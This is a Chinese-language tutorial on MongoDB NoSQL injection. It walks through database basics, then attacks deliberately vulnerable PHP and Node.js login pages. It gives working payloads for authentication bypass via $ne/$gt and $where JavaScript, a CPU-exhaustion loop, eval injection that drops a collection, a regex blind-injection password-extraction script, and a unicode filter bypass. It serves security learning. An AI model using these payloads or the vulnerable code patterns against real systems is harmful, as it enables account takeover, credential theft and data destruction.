Nosql注入
N0sql
No only SQL,目前最流行的nosql产品是MongoDB
一种数据结构由键值对组成的文档
和json类似
{
"_id" : ObjectId("60fa854cf8aaaf4f21049148"),
"name" : "whoami",
"description" : "the admin user",
"age" : 19,
"status" : "A",
"groups" : [
"admins",
"users"
]
}
MongoDB 基础概念解析
不管我们学习什么数据库都应该学习其中的基础概念,在 MongoDB 中基本的概念有文档、集合、数据库,如下表所示:
SQL 概念 | MongoDB 概念 | 说明 |
---|---|---|
database | database | 数据库 |
table | collection | 数据库表/集合 |
row | document | 数据记录行/文档 |
column | field | 数据字段/域 |
index | index | 索引 |
table joins | 表连接,MongoDB 不支持 | |
primary key | primary key | 主键,MongoDB 自动将 _id 字段设置为主键 |
下表列出了关系型数据库 RDBMS 与 MongoDB 之间对应的术语:
RDBMS | MongoDB |
---|---|
数据库 | 数据库 |
表格 | 集合 |
行 | 文档 |
列 | 字段 |
表联合 | 嵌入文档 |
主键 | 主键(MongoDB 提供了 key 为 _id) |
数据库(Database)
个 MongoDB 中可以建立多个数据库。MongoDB 的单个实例可以容纳多个独立的数据库,每一个都有自己的集合和权限,不同的数据库也放置在不同的文件中。
使用 show dbs
命令可以显示所有数据库的列表:
$ ./mongo
MongoDB shell version: 3.0.6
connecting to: test
> show dbs
admin 0.078GB
config 0.078GB
local 0.078GB
>
执行 db
命令可以显示当前数据库对象或集合:
$ ./mongo
MongoDB shell version: 3.0.6
connecting to: test
> db
test
>
文档(Document)
文档是一组键值(key-value)对,类似于 RDBMS 关系型数据库中的一行。MongoDB 的文档不需要设置相同的字段,并且相同的字段不需要相同的数据类型,这与关系型数据库有很大的区别,也是 MongoDB 非常突出的特点。
一个简单的文档例子如下:
{"name":"whoami", "age":19}
集合(Collection)
集合就是 MongoDB 文档组,类似于 RDBMS 关系数据库管理系统中的表格。集合存在于数据库中,集合没有固定的结构,这意味着你在对集合可以插入不同格式和类型的数据。
比如,我们可以将以下不同数据结构的文档插入到集合中:
{"name":"whoami"}
{"name":"bunny", "age":19}
{"name":"bob", "age":20, "groups":["admins","users"]}
当插入一个文档时,集合就会被自动创建。
如果我们要查看已有集合,可以使用 show collections
或 show tables
命令:
> show collections
all_users
> show tables
all_users
>
MongoDB基础操作
创建数据库
use DATABASENAME
一键创建;若已存在就连接并切换到指定数据库
创建集合
db.createCollection(name,options)
- name:要创建的集合名称
- options:可选参数,指定有关内存大小及索引的选项
如下实例,我们在 users 数据库中创建一个 all_users 集合:
> use users
switched to db users
> db.createCollection("all_users")
{ "ok" : 1 }
>
插入文档
db.COLLECTION_NAME.insert(document)
如下实例,我们向存储在 users 数据库的 all_users 集合中插入一个文档:
> db.all_users.insert({name: 'whoami',
description: 'the admin user',
age: 19,
status: 'A',
groups: ['admins', 'users']
})
我们也可以将文档数据定义为一个变量,然后再执行插入操作将变量插入。
更新文档
在 MongoDB 中我们可以使用 update()
或 save()
方法来更新集合中的文档。
- update() 方法
update() 方法用于更新已存在的文档。语法格式如下:
db.collection.update(
<query>,
<update>,
{
upsert: <boolean>,
multi: <boolean>,
writeConcern: <document>
}
)
参数说明:
- query:update 操作的查询条件,类似 sql update 语句中 where 子句后面的内容。
- update:update 操作的对象和一些更新的操作符(如
$set
)等,可以理解为 sql update 语句中 set 关键字后面的内容。 - multi:可选,默认是 false,只更新找到的第一条记录,如果这个参数为 true,就把按条件查出来多条记录全部更新。
接着我们通过 update() 方法来将年龄 age 从 19 更新到 20:
> db.lover.update({'age':19}, {$set:{'age':20}})
WriteResult({ "nMatched" : 0, "nUpserted" : 0, "nModified" : 0 })
>
> db.all_users.find().pretty()
{
"_id" : ObjectId("60fa854cf8aaaf4f21049148"),
"name" : "whoami",
"description" : "the admin user",
"age" : 20,
"status" : "A",
"groups" : [
"admins",
"users"
]
}
>
成功将 age 从 19 改为了 20。
以上语句只会修改第一条发现的文档,如果你要修改多条相同的文档,则需要设置 multi 参数为 true。
> db.lover.update({'age':'19'}, {$set:{'age':20}}, {multi:true})
- save() 方法
save() 方法通过传入的文档来替换已有文档,_id
主键存在就更新,不存在就插入。语法格式如下:
db.collection.save(
<document>,
{
writeConcern: <document>
}
)
参数说明:
- document:文档数据。
如下实例中我们替换了 _id
为 60fa854cf8aaaf4f21049148 的文档数据:
> db.all_users.save({
"_id" : ObjectId("60fa854cf8aaaf4f21049148"),
"name" : "whoami",
"description" : "the admin user",
"age" : 21,
"status" : "A",
"groups" : [
"admins",
"users"
]
})
查询文档
db.collection.find(query,projection)
参数说明:
- query:可选,使用查询操作符指定查询条件,相当于 sql select 语句中的 where 子句。
- projection:可选,使用投影操作符指定返回的键。
如下实例我们查询了集合 all_users 中的 age 为 20 的数据:
> db.all_users.find({"age":"20"})
{ "_id" : ObjectId("60fa854cf8aaaf4f21049148"), "name" : "whoami", "description" : "the admin user", "age" : "20", "status" : "A", "groups" : [ "admins", "users" ] }
>
如果你需要以易读的方式来读取数据,可以使用 pretty()
方法以格式化的方式来显示所有文档:
> db.all_users.find({"age":20}).pretty()
{
"_id" : ObjectId("60fa854cf8aaaf4f21049148"),
"name" : "whoami",
"description" : "the admin user",
"age" : 20,
"status" : "A",
"groups" : [
"admins",
"users"
]
}
>
MongoDB 与 RDBMS 之间的类比比较
如果你熟悉常规的 SQL 数据,通过下表可以更好的理解 MongoDB 的条件语句查询:
操作 | 格式 | 范例 | RDBMS 中的类似语句 |
---|---|---|---|
等于 | {<key>:<value>} |
db.love.find({"name":"whoami"}).pretty() |
where name = 'whoami' |
小于 | {<key>:{$lt:<value>}} |
db.love.find({"age":{$lt:19}}).pretty() |
where age < 19 |
小于或等于 | {<key>:{$lte:<value>}} |
db.love.find({"age":{$lte:19}}).pretty() |
where likes <= 19 |
大于 | {<key>:{$gt:<value>}} |
db.love.find({"age":{$gt:19}}).pretty() |
where likes > 19 |
大于或等于 | {<key>:{$gte:<value>}} |
db.love.find({"age":{$gte:19}}).pretty() |
where likes >= 19 |
不等于 | {<key>:{$ne:<value>}} |
db.love.find({"age":{$ne:19}}).pretty() |
where likes != 19 |
而查询时的AND语句的表示即用,
隔开多个键值对
语法格式如下:
> db.all_users.find({"status":"B", "age":20})
{ "_id" : ObjectId("60fa8ef8f8aaaf4f2104914e"), "name" : "bob", "description" : "the normal user", "age" : 20, "status" : "B", "groups" : [ "normals", "users" ] }
>
以上实例中类似于 RDBMS 中的 WHERE 语句:WHERE status='B' AND age=20
查询时的OR语句要在开头加上$or
语法格式如下:
> db.col.find(
{
$or: [
{key1: value1}, {key2:value2}
]
}
).pretty()
如下实例,我们查询键 status
值为 A 或键 age
值为 19 的文档。
> db.all_users.find({$or:[{"status":"A", "age":"19"}]})
{ "_id" : ObjectId("60fa8ec6f8aaaf4f2104914c"), "name" : "bunny", "description" : "the normal user", "age" : 19, "status" : "A", "groups" : [ "lovers", "users" ] }
如下实例,我们查询键 status
值为 A 或键 age
值为 19 的文档。
> db.all_users.find({$or:[{"status":"A", "age":"19"}]})
{ "_id" : ObjectId("60fa8ec6f8aaaf4f2104914c"), "name" : "bunny", "description" : "the normal user", "age" : 19, "status" : "A", "groups" : [ "lovers", "users" ] }
联合使用
以下实例演示了 AND 和 OR 联合使用,类似于 RDBMS 中的 WHERE 语句: where age>19 AND (name='whoami' OR status='A')
> db.all_users.find({"age":{$gt:19}, $or: [{"name":"whoami"}, {"status":"A"}]})
{ "_id" : ObjectId("60fa9176f8aaaf4f21049150"), "name" : "whoami", "description" : "the admin user", "age" : 20, "status" : "A", "groups" : [ "admins", "users" ] }
>
注入时间到
按照语言分类
可以分为
- PHP数组注入
- js注入
- mongoshell拼接注入
按照攻击机制分类
可以分为
- 重言式注入
- 联合查询注入
- js注入
- 盲注
- 重言式注入
又称为永真式,此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制。
- 联合查询注入
联合查询是一种众所周知的 SQL 注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。
- JavaScript 注入
MongoDB Server 支持 JavaScript,这使得在数据引擎进行复杂事务和查询成为可能,但是传递不干净的用户输入到这些查询中可以注入任意的 JavaScript 代码,导致非法的数据获取或篡改。
- 盲注
当页面没有回显时,那么我们可以通过 $regex
正则表达式来达到和传统 SQL 注入中 substr()
函数相同的功能,而且 NoSQL 用到的基本上都是布尔盲注。
PHP中的注入
重言式注入
保证一个永真条件即可
首先在 MongoDB 中选中 test 数据库,创建一个 users 集合并插入文档数据:
> use test
switched to db test
>
> db.createCollection('users')
{ "ok" : 1 }
>
> db.users.insert({username: 'admin', password: '123456'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username: 'whoami', password: '657260'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username: 'bunny', password: '964795'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username: 'bob', password: '965379'})
WriteResult({ "nInserted" : 1 })
>
然后编写 index.php:
<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$query = new MongoDB\Driver\Query(array(
'username' => $username,
'password' => $password
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo '====Login Success====<br>';
echo 'username:' . $user['username'] . '<br>';
echo 'password:' . $user['password'] . '<br>';
}
}
else{
echo 'Login Failed';
}
?>
如下,当正常用户想要登陆 whoami 用户时,POST 方法提交的数据如下:
username=whoami&password=657260
进入 PHP 后的程序数据如下:
array(
'username' => 'whoami',
'password' => '657260'
)
进入 MongoDB 后执行的查询命令为:
> db.users.find({'username':'whoami', 'password':'657260'})
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
我们从代码中可以看出,这里对用户输入没有做任何过滤与校验,那么我们可以通过 $ne
关键字构造一个永真的条件就可以完成 NoSQL 注入:
username[$ne]=1&password[$ne]=1
如下图所示,成功查出所有的用户信息,说明成功注入了一个永真查询条件:
提交的数据进入 PHP 后的数据如下:
array(
'username' => array('$ne' => 1),
'password' => array('$ne' => 1)
)
进入 MongoDB 后执行的查询命令为:
> db.users.find({'username':{$ne:1}, 'password':{$ne:1}})
{ "_id" : ObjectId("60fa9c7b257f18542b68c4b8"), "username" : "admin", "password" : "123456" }
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
{ "_id" : ObjectId("60fa9c85257f18542b68c4ba"), "username" : "bunny", "password" : "964795" }
{ "_id" : ObjectId("60fa9c88257f18542b68c4bb"), "username" : "bob", "password" : "965379" }
由于 users 集合中 username 和 password 都不等于 1,所以将所有的文档数据查出,这很可能是真实的,并且可能允许攻击者绕过身份验证。
对于 PHP 本身的特性而言,由于其松散的数组特性,导致如果我们发送 value=1
那么,也就是发送了一个 value
的值为 1 的数据。如果发送 value[$ne]=1
则 PHP 会将其转换为数组 value=array($ne=>1)
,当数据到了进入 MongoDB 后,原来一个单一的 {"value":1}
查询就变成了一个 {"value":{$ne:1}
条件查询。同样的,我们也可以使用下面这些作为 payload 进行攻击:
username[$ne]=&password[$ne]=
username[$gt]=&password[$gt]=
username[$gte]=&password[$gte]=
这种重言式注入的方式也是我们通常用来验证网站是否存在 NoSQL 注入的第一步。
联合查询注入
在 MongoDB 之类的流行数据存储中,JSON 查询结构使得联合查询注入攻击变得比较复杂了,但也是可以实现的。
我们都知道,直接对 SQL 查询语句进行字符拼接串容易造成 SQL 注入,NoSQL 也有类似问题。如下实例,假设后端的 MongoDB 查询语句使用了字符串拼接:
string query ="{ username: '" + $username + "', password: '" + $password + "' }"
当用户正确的用户名密码进行登录时,得到的查询语句是应该这样的:
{'username':'admin', 'password':'123456'}
如果此时没有很好地对用户的输入进行过滤或者效验,那攻击者便可以构造如下 payload:
username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456
拼接入查询语句后相当于执行了:
{ username: 'admin', $or: [ {}, {'a':'a', password: '' }], $comment: '123456'}
此时,只要用户名是正确的,这个查询就可以成功。这种手法和 SQL 注入比较相似:
select * from logins where username = 'admin' and (password true<> or ('a'='a' and password = ''))
这样,原本正常的查询语句会被转换为忽略密码的,在无需密码的情况下直接登录用户账号,因为 ()
内的条件总是永真的。
但是现在无论是 PHP 的 MongoDB Driver 还是 Nodejs 的 Mongoose 都必须要求查询条件必须是一个数组或者 Query 对象了,因此这种注入方法简单了解一下就好了。
js注入
$where 操作符
首先我们需要了解一下 $where
操作符。在 MongoDB 中,$where
操作符可以用来执行 JavaScript 代码,将 JavaScript 表达式的字符串或 JavaScript 函数作为查询语句的一部分。在 MongoDB 2.4 之前,通过 $where
操作符使用 map-reduce
、group
命令甚至可以访问到 Mongo Shell 中的全局函数和属性,如 db
,也就是说可以在自定义的函数里获取数据库的所有信息。
如下实例:
> db.users.find({ $where: "function(){return(this.username == 'whoami')}" })
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
>
由于使用了 $where
关键字,其后面的 JavaScript 将会被执行并返回 “whoami”,然后将查询出 username 为 whoami 的数据。
某些易受攻击的 PHP 应用程序在构建 MongoDB 查询时可能会直接插入未经过处理的用户输入,例如从变量中 $userData
获取查询条件:
db.users.find({ $where: "function(){return(this.username == $userData)}" })
然后,攻击者可能会注入一种恶意的字符串如 'a'; sleep(5000)
,此时 MongoDB 执行的查询语句为:
db.users.find({ $where: "function(){return(this.username == 'a'; sleep(5000))}" })
如果此时服务器有 5 秒钟的延迟则说明注入成功。
下面我们编写 index.php 进行测试:
<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$function = "
function() {
var username = '".$username."';
var password = '".$password."';
if(username == 'admin' && password == '123456'){
return true;
}else{
return false;
}
}";
$query = new MongoDB\Driver\Query(array(
'$where' => $function
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count>0) {
foreach ($result as $user) {
$user=(array)$user;
echo '====Login Success====<br>';
echo 'username: '.$user['username']."<br>";
echo 'password: '.$user['password']."<br>";
}
}
else{
echo 'Login Failed';
}
?>
- MongoDB 2.4 之前
在 MongoDB 2.4 之前,通过 $where
操作符使用 map-reduce
、group
命令可以访问到 Mongo Shell 中的全局函数和属性,如 db
,也就是说可以通过自定义 JavaScript 函数来获取数据库的所有信息。
如下所示,发送以下数据后,如果有回显的话将获取当前数据库下所有的集合名:
username=1&password=1';(function(){return(tojson(db.getCollectionNames()))})();var a='1
- MongoDB 2.4 之后
MongoDB 2.4 之后 db
属性访问不到了,但我们应然可以构造万能密码。如果此时我们发送以下这几种数据:
username=1&password=1';return true//
或
username=1&password=1';return true;var a='1
如下图所示,成功查出所有的用户信息:
这是因为发送 payload 进入 PHP 后的数据如下:
array(
'$where' => "
function() {
var username = '1';
var password = '1';return true;var a='1';
if(username == 'admin' && password == '123456'){
return true;
}else{
return false;
}
}
")
进入 MongoDB 后执行的查询命令为:
> db.users.find({$where: "function() { var username = '1';var password = '1';return true;var a='1';if(username == 'admin' && password == '123456'){ return true; }else{ return false; }}"})
{ "_id" : ObjectId("60fa9c7b257f18542b68c4b8"), "username" : "admin", "password" : "123456" }
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
{ "_id" : ObjectId("60fa9c85257f18542b68c4ba"), "username" : "bunny", "password" : "964795" }
{ "_id" : ObjectId("60fa9c88257f18542b68c4bb"), "username" : "bob", "password" : "965379" }
>
我们从代码中可以看出,password 中的 return true
使得整个 JavaScript 代码提前结束并返回了 true
,这样就构造出了一个永真的条件并完成了 NoSQL 注入。
此外还有一个类似于 DOS 攻击的 payload,可以让服务器 CPU 飙升到 100% 持续 5 秒:
username=1&password=1';(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<5000); return Math.max();})();var a='1
commmand方法注入
MongoDB driver一般都提供直接执行shell命令的方法,这些方式一般是不推荐使用的,但难免有人为了实现一些复杂的查询去使用,在php官网中就已经友情提醒了不要这样使用:
<?php
$m = new MongoDB\Driver\Manager;
// Don't do this!!!
$username = $_GET['field'];
// $username is set to "'); db.users.drop(); print('"$cmd = new \MongoDB\Driver\Command( [
'eval' => "print('Hello, $username!');"
] );
$r = $m->executeCommand( 'dramio', $cmd );?>
也可以用Command去实现Mongo的distinct
方法
<?php
$manager = new MongoDB\Driver\Manager();
$uname = $_GET['username'];
$pwd = $_GET['password'];
$cmd = new MongoDB\Driver\Command([
'eval'=> "db.users.distinct('uname', {uname: '".$uname."', pwd: '".$pwd."'})"
]);
echo "db.users.distinct('uname', {uname: '".$uname."', pwd: '".$pwd."'})";
$result = $manager->executeCommand('sec_test', $cmd)->toArray();
$result =((array)$result[0])['retval'];
$count = count($result);
if ($count>0) {
foreach ($result as $user) {
$user=(array)$user;
echo 'username: '.$user['uname']."\n";
echo 'password: '.$user['pwd']."\n";
}
}
else{
echo '用户不存在';
}
?>
这个就危险太多了,就相当于把mongo shell开放给用户了,你基本可以构建任何mongo shell可以执行的payload了,如果当前应用连接数据库的权限恰好很高,我们能干的事情更多。如构建
payload:username=2'});db.users.drop();db.user.find({'username':'2
execute方法注入
在旧版本中,可以用execute来执行一段字符串
<?php
$mongo = new mongoclient();
$uname = $_GET['username'];
$pwd = $_GET['password'];
$db = $mongo->sec_test; // 选择数据库
$query = "db.users.find({'uname': ".$uname."},{'pwd', ".$pwd."})";
$result = $db->execute($query);
if ($result->count() > 0) {
foreach ($result as $user) {
echo 'username: '.$user['uname']."\n";
echo 'password: '.$user['pwd']."\n";
}
}
else{
echo '该用户不存在';
}
?>
而在新版本中,多用executeQuery来进行查询
$manager = new MongoDB\Driver\Manager();
$uname = $_GET['username'];
$pwd = $_GET['password'];
$function = "function() {if(this.uname == '$uname' && this.pwd == '$pwd') return {'username': this.uname, 'password': this.pwd}}";
$query = new MongoDB\Driver\Query(array(
'$where' => $function
));
$result = $manager->executeQuery('sec_test.users', $query)->toArray();
$count = count($result);
if ($count>0) {
foreach ($result as $user) {
$user=(array)$user;
echo 'username: '.$user['uname']."\n";
echo 'password: '.$user['pwd']."\n";
}
}
else{
echo '用户不存在';
}
$manager = new MongoDB\Driver\Manager();
$uname = $_GET['username'];
$pwd = $_GET['password'];
$query = new MongoDB\Driver\Query(array(
'uname'=>$uname,
'pwd'=>$pwd
));
$result = $manager->executeQuery('sec_test.users', $query)->toArray();
$count = count($result);
if ($count>0) {
foreach ($result as $user) {
$user=(array)$user;
echo 'username: '.$user['uname']."\n";
echo 'password: '.$user['pwd']."\n";
}
}
else{
echo '未找到';
}
布尔盲注
当页面没有回显时,那么我们可以通过 $regex
正则表达式来进行盲注, $regex
可以达到和传统 SQL 注入中 substr()
函数相同的功能。
我们还是利用第一个 index.php 进行演示:
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$query = new MongoDB\Driver\Query(array(
'username' => $username,
'password' => $password
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo '====Login Success====<br>';
echo 'username:' . $user['username'] . '<br>';
echo 'password:' . $user['password'] . '<br>';
}
}
else{
echo 'Login Failed';
}
布尔盲注重点在于怎么逐个提取字符,如下所示,在已知一个用户名的情况下判断密码的长度:
username=admin&password[$regex]=.{4} // 登录成功
username=admin&password[$regex]=.{5} // 登录成功
username=admin&password[$regex]=.{6} // 登录成功
username=admin&password[$regex]=.{7} // 登录失败
......
在 password[$regex]=.{6}
时可以成功登录,但在 password[$regex]=.{7}
时登录失败,说明该 whoami 用户的密码长度为 7。
提交的数据进入 PHP 后的数据如下:
array(
'username' => 'admin',
'password' => array('$regex' => '.{6}')
)
进入 MongoDB 后执行的查询命令为:
> db.users.find({'username':'admin', 'password':{$regex:'.{6}'}})
{ "_id" : ObjectId("60fa9c7b257f18542b68c4b8"), "username" : "admin", "password" : "123456" }
> db.users.find({'username':'admin', 'password':{$regex:'.{7}'}})
>
由于 whoami 用户的 password 长度为 6,所以查询条件 {'username':'admin', 'password':{$regex:'.{6}'}}
为真,便能成功登录,而 {'username':'admin', 'password':{$regex:'.{7}'}}
为假,自然也就登录不了。
知道 password 的长度之后我们便可以逐位提取 password 的字符了:
username=admin&password[$regex]=1.{5}
username=admin&password[$regex]=12.{4}
username=admin&password[$regex]=123.{3}
username=admin&password[$regex]=1234.{2}
username=admin&password[$regex]=12345.*
username=admin&password[$regex]=123456
或
username=admin&password[$regex]=^1
username=admin&password[$regex]=^12
username=admin&password[$regex]=^123
username=admin&password[$regex]=^1234
username=admin&password[$regex]=^12345
username=admin&password[$regex]=^123456
这是某个师傅的盲注脚本,贴一下
import requests
import string
password = ''
url = 'http://192.168.226.148/index.php'
while True:
for c in string.printable:
if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:
# When the method is GET
get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
# When the method is POST
post_payload = {
"username": "admin",
"password[$regex]": '^' + password + c
}
# When the method is POST with JSON
json_payload = """{"username":"admin", "password":{"$regex":"^%s"}}""" % (password + c)
#headers = {'Content-Type': 'application/json'}
#r = requests.post(url=url, headers=headers, data=json_payload) # 简单发送 json
r = requests.post(url=url, data=post_payload)
if 'Login Success' in r.text:
print("[+] %s" % (password + c))
password += c
# 输出如下:
# [+] 1
# [+] 12
# [+] 123
# [+] 1234
# [+] 12345
# [+] 123456
Nodejs中的MongoDB注入
NodeJS里面的Nosql就主要式重言式注入了,构造永真式密码来实现登陆绕过
- server.js
var express = require('express');
var mongoose = require('mongoose');
var jade = require('jade');
var bodyParser = require('body-parser');
mongoose.connect('mongodb://localhost/test', { useNewUrlParser: true });
var UserSchema = new mongoose.Schema({
name: String,
username: String,
password: String
});
var User = mongoose.model('users', UserSchema);
var app = express();
app.set('views', __dirname);
app.set('view engine', 'jade');
app.get('/', function(req, res) {
res.render ("index.jade",{
message: 'Please Login'
});
});
app.use(bodyParser.json());
app.post('/', function(req, res) {
console.log(req.body)
User.findOne({username: req.body.username, password: req.body.password}, function (err, user) {
console.log(user)
if (err) {
return res.render('index.jade', {message: err.message});
}
if (!user) {
return res.render('index.jade', {message: 'Login Failed'});
}
return res.render('index.jade', {message: 'Welcome back ' + user.name + '!'});
});
});
var server = app.listen(8000, '0.0.0.0', function () {
var host = server.address().address
var port = server.address().port
console.log("listening on http://%s:%s", host, port)
});
- index.jade
h1 #{message}
p #{message}
运行访问,发送
{"username":{"$ne":1},"password":{"$ne":1}}
成功登录
如果$ne
关键字被过滤也可以用unicode来绕过
因为JSON是可以直接解unicode的
belike:
{"username":{"\u0024\u006e\u0065":1},"password": {"\u0024\u006e\u0065":1}}
// {"username":{"$ne":1},"password": {"$ne":1}}